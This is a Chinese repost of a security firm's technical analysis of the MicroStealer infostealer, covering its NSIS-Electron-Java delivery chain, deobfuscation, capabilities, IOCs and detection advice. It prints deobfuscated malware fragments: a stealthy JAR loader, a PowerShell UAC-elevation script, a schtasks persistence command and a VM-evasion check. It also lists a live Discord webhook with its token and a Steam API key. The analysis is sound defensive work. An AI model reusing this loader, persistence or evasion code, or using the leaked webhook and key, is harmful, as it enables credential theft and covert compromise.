文章总结: 微窃贼(Microstealer)是一种检测率低但传播迅速的窃密木马,通过NSIS→Electron→JAR多层混淆技术规避检测,主要窃取浏览器凭证、会话Cookie、加密货币钱包及屏幕截图等敏感数据。研究发现其通过受感染或伪装账户分发,重点针对教育、电信等行业,威胁企业身份安全与数据安全。建议采用行为分析技术快速识别威胁,并加强会话监控与凭证保护以降低风险。 综合评分: 88 文章分类: 恶意软件,漏洞分析,威胁情报,应急响应,web安全
微窃贼分析:一个检测率低但传播快的窃密木马
夯磅棱
2026年3月21日%2009:31 北京
微窃贼通过多层混淆技术,在传统安全软件眼皮底下窃取浏览器凭证、会话数据甚至加密货币钱包。本文深入分析了它的技术链和业务风险,并探讨了如何通过行为分析快速发现这种新型威胁。
安全团队需要早期信号来发现和遏制新威胁。但当一个功能完备的窃密木马正在传播,而传统检测手段却几乎失效时,会发生什么?
ANY.RUN研究人员在近期的调查中发现,尽管公开报道很少,但在不到一个月的时间里,他们在超过40个沙箱会话中观察到了微窃贼的活动。早期迹象表明,它通过被攻陷或被伪装的账户进行传播,教育和电信行业是受影响的重点行业。
微窃贼(MicroStealer)不仅仅是又一个普通的窃密程序。它瞄准浏览器凭证、会话数据、屏幕截图和钱包文件,并采用层层递进的NSIS%20→%20Electron%20→%20Java投递链,这可能让检测判定变得迟缓。
核心要点
- 微窃贼通过窃取与企业访问权限相关的浏览器凭据、活动会话等敏感数据,暴露了更广泛的业务风险。
- 该恶意软件使用分层的NSIS%20→%20Electron%20→%20JAR链,有助于其长时间保持隐蔽,并延缓了肯定的检测。
- 通过被攻陷或假冒的账户进行分发,增加了受害者信任来源并执行负载的可能性。
- 对企业而言,主要危险在于可见性延迟,而身份泄露和数据窃取可能已经在进行中。
- 基于行为的分析对于快速确认威胁和缩短遏制时间至关重要。
微窃贼背后的业务风险
对于安全负责人来说,微窃贼反映了一种旨在窃取身份数据、维持访问权限并提高更大范围企业事件可能性的威胁。
它的目标很直接:
- 企业身份暴露:浏览器凭据窃取和会话Cookie提取,危及与员工浏览器关联的SaaS账户、内部门户、VPN会话和云管理访问权限。
- 权限提升成为可能:访问认证令牌、浏览器会话和系统凭据,为攻击者从单个被攻陷端点,通往特权账户和内部系统开辟了道路。
- 隐秘访问持续更久:被盗的会话数据允许攻击者通过有效的用户会话进行操作,将恶意活动与企业服务的合法流量混在一起。
- 数据丢失立即开始:屏幕截图、浏览器数据、钱包文件和应用数据被收集,并通过多个渠道外泄,确保敏感信息快速流出环境。
- 攻击者获得侦察价值:对Discord和Steam账户的分析,为攻击者提供了受害者活动的信息,帮助他们优先处理高价值目标。
简单说,攻击者可以利用被盗身份、隐蔽的投递方法进行快速数据窃取,保持不被发现,扩大在环境内部的访问权限,并增加操作、合规和声誉损害的风险。
已观测到的微窃贼活动时间线
微窃贼活动最初于12月14日在ANY.RUN沙箱中分析以下会话时被观察到。
在随后的时间里,其活动持续增长,到分析时,不到一个月内已在超过40个沙箱会话中被识别出来,这表明它正处于活跃的分发期。
然而,尽管该恶意软件的“人气”在增长,安全厂商仍然没有检测到微窃贼。
检测到的最集中活动出现在1月7日至1月11日之间,共有20个包含微窃贼活动的沙箱会话被记录。这说明微窃贼正在获得更多攻击者的青睐。
当受害者访问恶意资源时,会看到一个颇具视觉吸引力的网站:
点击“立即下载”按钮后,会执行一个JavaScript文件。它会从Dropbox下载恶意文件,并将受害者的外部IP地址、地区、操作系统版本和时区发送到Discord服务器。
这些基本信息相当于一个信标。不过,如果下载的恶意文件得以执行,微窃贼会窃取浏览器配置文件中的数据、拍摄桌面截图,并将收集的数据以压缩包形式发送到两个目的地:一个Discord服务器和一个新注册的外泄服务器。
这样一来,即使其中一个服务器因某种原因无法访问,窃贼也能增加被盗数据送达攻击者手中的机会。
微窃贼在向Discord发出的首次GET请求的用户代理(User-Agent)头部中也使用了相同的名称:User-Agent:%20MicroStealer/1.0。
除了Dropbox,也有案例显示样本是从其他来源下载的,例如cdn[.]discordapp[.]com。
受害群体与目标分析
对ANY.RUN沙箱中提交的与微窃贼相关的样本分析显示,50%的已观测样本上传源自美国和德国,表明这些地区活动显著。
根据观察到的案例,教育和电信行业似乎面临更高的风险。
分发模式也表明,威胁行为者依赖被攻陷或假冒的账户来投递恶意软件,这增加了受害者信任来源并执行负载的可能性。
深入微窃贼执行链
ANY.RUN沙箱清晰地概述了微窃贼的执行链,并检测到其主要的攻击模式,使分析更容易开始。
感染链的第一阶段是RocobeSetup.exe。RocobeSetup是一个NSIS安装程序,使用Detect%20It%20Easy(DIE)分析二进制文件时,这一点立即变得明显。
由于安装程序具有存档结构,无需执行恶意软件或使用专门的分析工具即可检查其内容。
在这些文件中,已经可以识别出感染链的下一阶段:Game%20Launcher.exe。分析随后会转向存档内的其他目录。
在资源目录中,可以找到两个ASAR存档:app.asar和app.asar.unpacked。后者包含主要的窃密模块,一个可执行的JAR文件,以及一个Java运行环境(JRE),它们被打包在archive%20module.zip中。
使用标准的ASAR解包器解压app.asar后,可以看到一个小的Node.js组件。
Node.js组件的静态分析
此时,焦点转向位于index.js的主脚本。在文本编辑器中打开它,立即显示出多个混淆迹象,包括压缩字符串、分组到数组中的常量、扁平化的控制流程和死代码。
下一步是分析字符串处理逻辑,因为字符串在整个程序中广泛使用,有助于重建恶意软件的执行流程。
我们来看一段典型代码:
var wa4Ibtk; (function ()%20{ function* mjAYxpv(mjAYxpv, JbBfOsP, PXuU6i, Tky9na = { rwLytg: {} )%20{ while (mjAYxpv + JbBfOsP + PXuU6i !== 124) with(Tky9na.bWzSK3 || Tky9na) switch (mjAYxpv + JbBfOsP + PXuU6i)%20{ default: [Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-57, -181,%20104]; Tky9na.bWzSK3 = Tky9na.TDHlw5, mjAYxpv += -134, JbBfOsP += 290, PXuU6i += 145; break; case 162: case PXuU6i – -62: Tky9na.bWzSK3 = Tky9na.Q6N0rF, mjAYxpv += -340, JbBfOsP += 290; break; case Tky9na.rwLytg.AggjBE + -186: Tky9na.bWzSK3 = Tky9na.IQz1SBX, mjAYxpv += -211, JbBfOsP += 290; break; case -216: case 9: case -78: case 60: case PXuU6i – 190: case -96: [Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-62,%20172,%20231]; rwLytg.DDXChP = “ɡⱃ¼ǀ⼡砫\ư祘ഀΠ䌡渡洀ં䊡䚐ɰଊ‥<䜀ྀᕩö (…truncated)”; rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP); Tky9na.bWzSK3 = Tky9na.rwLytg, mjAYxpv += -83, JbBfOsP += 227, PXuU6i += -441; break; case 40: case 235: case mjAYxpv – -42: Tky9na.rwLytg.zxxO0HE = tuWPH66.split(“|”); return oh5cES = !0, wa4Ibtk = function (mjAYxpv)%20{ return zxxO0HE[mjAYxpv] } } } var oh5cES, JbBfOsP = mjAYxpv(-31, -159,%20415).next().value; if (oh5cES)%20{ return JbBfOsP } )();
我们可以看到,所有字符串都通过LZ-String库被压缩并合并成一个Unicode字符序列,存储在变量DDXChP中。
恶意软件使用decompressFromUTF16方法来恢复它们。这意味着存储在DDXChP中的值是经过UTF-16压缩的结果。混淆器可能用不同的名称引用该库,但逻辑不变。
解压后,生成的字符串使用|分隔符进行分割。然后,通过一个getter函数按索引检索特定字符串。
wa4Ibtk%20= function (mjAYxpv)%20{ return zxxO0HE[mjAYxpv]; };
之后,恶意软件通过诸如wa4Ibtk(3)、wa4Ibtk(7)和wa4Ibtk(11)之类的调用来引用这些字符串,其中参数代表zxxO0HE数组中的索引。
在删除不必要的垃圾代码后,这段逻辑可以简化为以下更易读的形式:
var GetString; (function InitializeStringTable()%20{ var compressed = “ɡⱃ¼ǀ⼡砫\ư祘ഀΠ䌡渡洀 (…truncated)”; var decompressed = lzObject.decompressFromUTF16(compressed);
stringTable = decompressed.split(“|”); GetString = function (index)%20{ return stringTable[index]; }; )();
接下来,我们从目标脚本复制lzObject的实现,并在单独的脚本中运行该函数。这样就可以提取程序使用的所有字符串。因为恢复的字符串总数相当大,下面只展示一些最有趣的例子及其索引。
注意,许多字符串在代码中被截断和直接连接。它们的完整值在括号中提供:
[2]%20 spawn [3]%20 exec [59]%20env
[11-25] %20 %20 try%20{ %20 %20 %20 %20 Start-Process%20-FilePath%20”%20-ArgumentList%20‘–install’%20-Verb%20RunAs %20 %20 %20 %20 Stop-Process%20-Id %20 %20 %20 %20 exit%200 %20 %20 }%20catch%20{ %20 %20 %20 %20 exit%201 %20 %20 }
[35-41]%20powershell%20-ExecutionPolicy%20Bypass%20-NoProfile%20-NonInteractive%20-File%20“
[27]%20 %20 tmpdir [32-34]%20writeF%20+%20ileSyn%20(writeFileSync) [54-55]%20unlink%20+%20Sync%20(unlinkSync) [79]%20 %20 exists [107-108]%20readFi%20+%20leSync%20(readFileSync)
[60-65]%20LOCALA%20+%20PPDATA%20→%20USERPR%20+%20OFILE%20→%20AppDat%20+%20a%20+%20Local%20(LOCALAPPDATA%20/%20USERPROFILE%20/%20AppData\Local) [66]%20 %20 soft.j%20(soft.jar) [67]%20 %20 model [68]%20 %20 jre [69]%20 %20 bin [70-71]%20miicro%20+%20soft.e%20(miicrosoft.exe) [73-74]%20resour%20+%20cesPat%20(resourcesPath) [76-78]%20app.as%20+%20ar.unp%20+%20acked%20(app.asar.unpacked) [81-82]%20model.%20+%20zip%20(model.zip)
[128]%20 %20-jar [129-132]%20detach%20(detached),%20stdio,%20ignore,%20unref [140-141]%20–inst%20+%20all%20(–install)
这已经能勾勒出它的行动逻辑。清理混淆后,启动JAR格式主负载的逻辑变得更加清晰。
恶意软件随后会提取内嵌的JRE,将可执行文件伪装成miicrosoft.exe,在后台启动JAR文件,并立即终止主Node.js进程,使得负载能够独立继续运行。
清理后的最终可读逻辑大概是这样的:
const%20fs%20=%20require(“fs”); const%20path%20=%20require(“path”); const%20{%20spawn,%20exec%20}%20=%20require(“child_process”); const%20os%20=%20require(“os”); const%20AdmZip%20=%20require(“adm-zip”);
const%20baseDir%20= %20 %20 process.env.LOCALAPPDATA%20|| %20 %20 path.join(process.env.USERPROFILE,%20“AppData”,%20“Local”);
const%20jarPath%20=%20path.join(baseDir,%20“soft.jar”);
const%20javaExePath%20=%20path.join( %20 %20 baseDir, %20 %20 “model”, %20 %20 “jre”, %20 %20 “bin”, %20 %20 “miicrosoft.exe” );
const%20child%20=%20spawn( %20 %20 javaExePath, %20 %20 [“-jar”,%20jarPath], %20 %20 { %20 %20 %20 %20 detached:%20true, %20 %20 %20 %20 stdio:%20“ignore”, %20 %20 %20 %20 env:%20process.env %20 %20 } );
child.unref();
process.exit(0);
分解执行链
作为其执行链的一部分,恶意软件还会尝试获取提升的权限。这一步主要依赖社会工程学:受害者会看到一个UAC提示,很可能被视作安装过程的正常部分。
用于此步骤的PowerShell脚本如下:
try%20{ %20 %20 Start-Process%20-FilePath%20“Game%20Launcher.exe”%20-ArgumentList%20‘–install’%20-Verb%20RunAs %20 %20 Stop-Process%20-Id%20(pid) %20 %20 exit%200 }%20catch%20{ %20 %20 exit%201 }
此时,Game%20Launcher.exe的角色就清晰了。包含ASAR存档和Node.js项目的resources目录的存在,表明它使用了Electron框架。反汇编中的字符串和入口点包含了Electron的标志性特征。
最终,Game%20Launcher.exe是一个被用作恶意软件投递链一部分的Electron应用程序。执行流程如下:
- NSIS:包含恶意载荷的存档安装程序。
- Electron:通过UAC请求管理员权限。
- Electron:提取并启动JAR文件。
- Java:执行主要的恶意逻辑。
NSIS安装程序和Electron的组合极大增加了恶意软件静态分析的难度。Electron可以直接从ASAR存档中读取和执行JavaScript代码,而无需提取到文件系统,这绕过了传统基于签名的检测机制。
同时,NSIS安装程序确保了恶意文件在安装程序自身执行完毕之前,无法被分析或检测到。
Java模块的静态分析
下一步是通过将JAR文件加载到反汇编器中来分析主模块。这一次,我们又在Java端遇到了混淆代码。正如Node.js组件一样,字符串被加密并通过辅助函数恢复。下面是一个有代表性的片段:
private%20static%20void%20lambda$checkEnvironment$1(String%20str)%20throws%20Exception%20{ %20 %20 int%20iD%20=%20a.d(); %20 %20 String[]%20strArr%20=%20new%20String[a(0x5e23,%200x6709cb2b9951dedeL)]; %20 %20 strArr[0]%20=%20a((int)%200xfffff707,%20(int)%200xfffff6e2); %20 %20 strArr[1]%20=%20a((int)%200xfffff636,%20(int)%200xffff90f5); %20 %20 strArr[2]%20=%20a((int)%200xfffff6c2,%20(int)%200xfffff530); %20 %20 //%20… %20 %20 ??%20AnyMatch%20=%20iD; %20 %20 AnyMatch%20=%20Arrays.asList(strArr).stream().anyMatch((v1)%20->%20{ %20 %20 %20 %20 return%20lambda$null$0(r1,%20v1); %20 %20 }); }
在识别出这个特征模式后,我们检查了.class文件的头部,寻找正在使用的混淆器的痕迹,并立即发现了ZKM(Zelix%20KlassMaster)%20v21.0.0
对于这个版本的ZKM,已经有几个有效的公开反混淆器。在这个案例中,我们使用了Threadtear及其一系列专注于ZKM的模块,包括字符串反混淆、访问权恢复、流程反混淆以及几个用于字节码清理的额外模块。成功反混淆后,分析得以继续,深入到恶意软件的核心功能。
微窃贼功能概述
反混淆后,代码变得明显更易读,尽管并非完全清晰;部分逻辑仍然盘根错节。即便如此,微窃贼的核心功能已经可以开放分析。
持久化
持久化是通过Windows任务计划程序实现的。
private%20void%20a()%20throws%20InterruptedException,%20IOException%20{ %20 %20 String%20string%20=%20System.getenv(“LOCALAPPDATA”); %20 %20 string%20=%20System.getProperty(“user.home”)%20+%20“\AppData\Local”; %20 %20 String%20string2%20=%20string%20+%20“\model\jre\bin\miicrosoft.exe”; %20 %20 String%20string3%20=%20string%20+%20“\soft.jar”; %20 %20 String%20string4%20=%20System.getProperty(“user.name”); %20 %20 String%20string5%20=%20“App_”%20+%20string4; %20 %20 String%20string6%20=%20String.format(“schtasks%20/create%20/tn%20\”%s\”%20/tr%20\”\\”%s\\”%20-jar%20\\”%s\\”\”%20/sc%20ONLOGON%20/delay%200000:05%20/rl%20HIGHEST%20/f”,%20string5,%20string2,%20string3); %20 %20 Process%20process%20=%20Runtime.getRuntime().exec(string6); %20 %20 process.waitFor(); }
该命令在Windows任务计划程序中创建一个任务,触发器为ONLOGON(用户登录时执行),延迟5秒,并以最高权限运行。结果是,即使系统重启后,恶意软件也能自动恢复运作。
虚拟机检测
微窃贼会检查执行环境中是否存在通常与虚拟机关联的进程和服务。如果发现至少一个匹配项,它会立即终止执行。
尽管有这些反分析检查,样本在ANY.RUN沙箱中仍能成功执行,使得其行为在分析过程中得以完全暴露。
这使得我们能够观察恶意软件的实际运行逻辑,并提取有价值的IOC用于进一步的检测和威胁狩猎。
private%20static%20void%20checkEnvironment(String%20str)%20throws%20Exception%20{ %20 %20 String[]%20strArr%20=%20new%20String[13]; %20 %20 strArr[0]%20 =%20“vmwaretray”; %20 %20 strArr[1]%20 =%20“vmwareuser”; %20strArr[2]%20 =%20“vgauthservice”; %20strArr[3]%20 =%20“vmacthlp”; %20strArr[4]%20 =%20“vmsrvc”; %20strArr[5]%20 =%20“vmusrvc”; %20strArr[6]%20 =%20“vmtoolsd”; %20strArr[7]%20 =%20“vboxservice”; %20strArr[8]%20 =%20“vboxtray”; %20strArr[9]%20 =%20“qemu-ga”; %20strArr[10]%20=%20“xenservice”; %20strArr[11]%20=%20“prl_cc”; %20strArr[12]%20=%20“prl_tools”;
%20 boolean%20anyMatch%20=%20Arrays.asList(strArr) %20 %20 %20 %20 .stream() %20 %20 %20 %20 .anyMatch(v1%20->%20str.toLowerCase().contains(v1));
%20 if%20(anyMatch)%20{ %20 %20 %20 %20 Runtime.getRuntime().halt(0); %20 %20 } }
浏览器数据窃取
微窃贼支持广泛的基于Chromium的浏览器,以及Opera和Opera%20GX。对于每个检测到的浏览器,它会访问用户的配置文件数据,然后使用Windows%20DPAPI提取受保护的信息。它会遍历特定的目录路径,例如Chrome、Brave、Edge、Yandex等浏览器的用户数据存储位置。
与LSASS的交互
当LSA保护被禁用时(RunAsPPL%20=%200),恶意软件会尝试通过与lsass.exe进程交互来获得提升的权限。它启用SeDebugPrivilege,在进程列表中搜索LSASS,然后复制其安全令牌并在当前线程中模拟该令牌。
屏幕捕获
恶意软件使用java.awt.Robot捕获用户的当前屏幕。生成的图像以PNG格式保存,然后打包到ZIP存档中,以备后续外泄。
Robot%20robot%20=%20new%20Robot(); Rectangle%20screen%20=%20new%20Rectangle(Toolkit.getDefaultToolkit().getScreenSize()); BufferedImage%20screenshot%20=%20robot.createScreenCapture(screen); ImageIO.write(screenshot,%20“png”,%20new%20File(“screenshot.png”));
附加功能
微窃贼的目标既包括基于浏览器的加密货币钱包扩展(通过Local Extension Settings),也包括桌面钱包应用程序。它会完全复制钱包文件,不进行任何额外处理。
它还将JavaScript代码注入到Discord桌面应用程序中,使用Webpack Chunk Injection来访问内部客户端模块,并使用Chrome DevTools Protocol(CDP)来拦截网络请求和监控用户活动。
恶意软件会拦截与登录、凭据变更、2FA启用以及添加支付方式(如Stripe和Braintree/PayPal)相关的事件。此外,它还收集账户元数据,如徽章、Nitro等级等属性,这可能表明其试图剖析受害者价值。
微窃贼还收集受害者Steam账户的信息。使用硬编码的API密钥,窃密者查询Steam Web API以获取个人资料等级、拥有的游戏数量和账户创建日期。虽然这些信息本身不能提供对账户的直接访问权限,但它可用于评估受害者的价值并对目标进行优先级排序,类似于在Discord中观察到的剖析行为。
早期检测微窃贼:一个实用的调查循环
微窃贼突显了许多安全团队面临的一个老问题:新的恶意软件家族常常在可靠的签名或威胁情报普及之前就出现了。
出现这种情况时,防御者手头只剩下可疑文件、不清晰的警报和有限的外部环境信息。如果没有快速验证,攻击者就可以在调查停滞期间悄悄收集凭据、会话令牌和其他敏感数据。早期检测取决于团队能以多快的速度从不确定的信号转向确认的恶意行为。
监控:及早发现可疑基础设施
信息窃密者通常依赖外部服务和新的基础设施进行数据外泄。在微窃贼的案例中,窃取的信息通过Discord webhooks和攻击者控制的服务器传输。
监控新出现的基础设施和可疑连接,可以帮助团队在恶意软件完全完成其收集和外泄阶段之前就发现泄露的早期迹象。
ANY.RUN的威胁情报订阅持续提供基于遥测和来自超过15,000个组织及600,000多名安全专业人士提交的新观察到的指标。
对于SOC团队来说,这意味着监控中的盲点更少,并能更早发现可疑域名、IP和攻击者基础设施。
分流:确认行为而非猜测
像微窃贼这样的新恶意软件家族通常缺乏清晰的静态签名或可靠的声誉数据,这会拖慢传统的调查工作流程。
分析师可以通过在受控环境中执行可疑文件,快速确认它到底做了什么,而不仅仅是依赖静态的判定结果。在ANY.RUN交互式沙箱中运行该样本,能够揭示完整的执行链。
几分钟内,分析师就可以观察到完整的攻击链,提取可靠的IOC,并确定该样本是否构成真正的威胁。
对于SOC团队来说,这用基于行为的证据取代了猜测,有助于减少调查时间并避免不必要的升级。
威胁狩猎:从一个样本扩展检测
一旦像微窃贼这样的窃密程序被确认,下一步就是确保它不会出现在环境中的其他地方。
使用威胁情报查询,分析师可以从初始指标扩展到发现相关的基础设施、关联的样本和类似的活动模式。这使得团队可以识别相关域和IP地址,寻找使用相同基础设施的其他样本,检测使用相同投递链的变种等。
通过跨越基础设施和行为进行关联,组织可以将单次调查转化为对整个环境更广泛的检测覆盖。
结论:更快的清晰度意味着更低的风险
微窃贼展示了现代窃密木马如何结合分层投递链、重度混淆和反分析技术来减慢检测速度。
然而,当团队能够快速地从不确定的警报转向明确的行为证据时,即使是复杂的恶意软件也变得可控。
通过结合早期监控、快速的行为分流和有针对性的威胁狩猎,安全团队可以更快地发现新兴威胁,减少调查时间,并限制企业内部数据窃取的风险。
关于ANY.RUN
ANY.RUN是交互式恶意软件分析和威胁情报解决方案的领先提供商,自然地融入现代SOC工作流程,支持从初始警报到最终遏制的整个调查过程。它允许团队安全地执行可疑文件和URL,在交互式环境中观察真实行为,通过TI查询用即时上下文丰富指标,并使用威胁情报订阅持续监控新兴基础设施。
该公司已获得SOC 2 Type II认证,这加强了其保护客户数据和维护强大安全控制的承诺。
入侵指标(IOC)
已分析文件
| 名称 | MD5 | SHA1 | SHA256 | | — | — | — | — | | RocobeSetup.exe (NSIS Installer) | 23A705FA71DA6A9191618AEDC1144C4A | 755C21DD36A49086F98C87A172B900E6424F467A | 9CF1D4F87D9F2EDF53CE681B59C209F57A805E6157693E784D9D946FC3B17A04 | | Game Launcher.exe (Electron) | A137BF79A2D5F1C8104AF40EC93E4E66 | C83D75BF9F9FDA4E6EF7B2C575BC9D3D82D6590B | 05F0C8E89248D3477115D9F62B20CA8A95D925140C727E975AB9F3025A5AD01D | | soft.jar (MicroStealerCore) | 04EA30CD1B74E2844BE939BD1FFE0084 | B7D0F8954BAFAB5E79AE96C07E683C229C9F7B72 | DF5E2B824C0FD40323A46019BFBC325F89B5B68697ED3C94B52189CF90E1BEC4 |
网络指标
HTTPS请求:
https[:]//78smp[.]com/m/
https[:]//discord[.]com/api/webhooks/1460660027969896695/FQ2nam1vUVDwLbiTZCPen9C53eBMg_qB3-z8pGRtZ3ZerbyflDnzfmJVLpgElxMNfO41
域名:
vrcpluginhub[.]com,buradakimvar[.]com,kittenscraft[.]com,dashlune[.]xyz,buradabmwking[.]com,crushfall[.]com,slumpcute[.]com,banterplugins[.]com,velyonar[.]com,churilend[.]com,zarvethion[.]com,kittiesmc[.]com,kittycraftmc[.]com,welarith[.]com,eldrynworld[.]com
API密钥
Steam Web API Key: 440D7F4D810EF9298D25EDDF37C1F902
MITRE ATT&CK 技术对照
| 策略 | 技术 | 描述 | | — | — | — | | 执行 | 用户执行:恶意文件 | 用户运行 NSIS 安装程序 / Game Launcher | | 执行 | PowerShell | 用于 UAC 提权的 PowerShell 脚本 | | 执行 | Windows 命令 Shell | 使用 schtasks 创建 ONLOGON 任务 | | 持久化 | 计划任务 | 任务 App_、ONLOGON、HIGHEST、5秒延迟 | | 权限提升 | 滥用提权控制机制:绕过用户账户控制 | 社会工程学 UAC 提权提示 | | 权限提升 | 访问令牌操纵:令牌模拟/窃取 | 复制 LSASS 令牌并进行模拟 | | 防御规避 | 混淆文件或信息 | Node.js 混淆 + JAR 中的 ZKM | | 防御规避 | 伪装:匹配合法资源名称或位置 | miicrosoft.exe,Game Launcher 命名 | | 防御规避 | 虚拟化/沙箱逃逸:系统检查 | 检查进程列表中的 VMware、VBox、QEMU 等 | | 凭据访问 | 来自密码存储的凭据:来自 Web 浏览器的凭据 | 通过 DPAPI 窃取 Chromium/Opera 密码、自动填充数据 | | 凭据访问 | 窃取 Web 会话 Cookie | 提取浏览器 Cookie(会话劫持) | | 凭据访问 | 不安全的凭据:文件中的凭据 | 钱包文件和浏览器扩展存储 | | 凭据访问 | 操作系统凭据转储:LSASS 内存 | 当 RunAsPPL=0 时访问 LSASS,复制令牌 | | 发现 | 系统信息发现 | 收集主机名、OS、用户名、环境变量用于外泄报告 | | 收集 | 屏幕捕获 | 通过 java.awt.Robot 截图,PNG 格式 | | 收集 | 存档收集的数据:通过实用程序存档 | 外泄前压缩为 ZIP | | 外泄 | 通过 Web 服务外泄:通过 Webhook 外泄 | 数据发送到 Discord/webhook | | 命令与控制 | 应用层协议:Web 协议 | 通过 HTTPS 连接 C2 / webhooks |
参考资料
[1] https://any.run/cybersecurity-blog/microstealer-technical-analysis/?utm_source=reddit
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:夯磅棱 《微窃贼分析:一个检测率低但传播快的窃密木马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论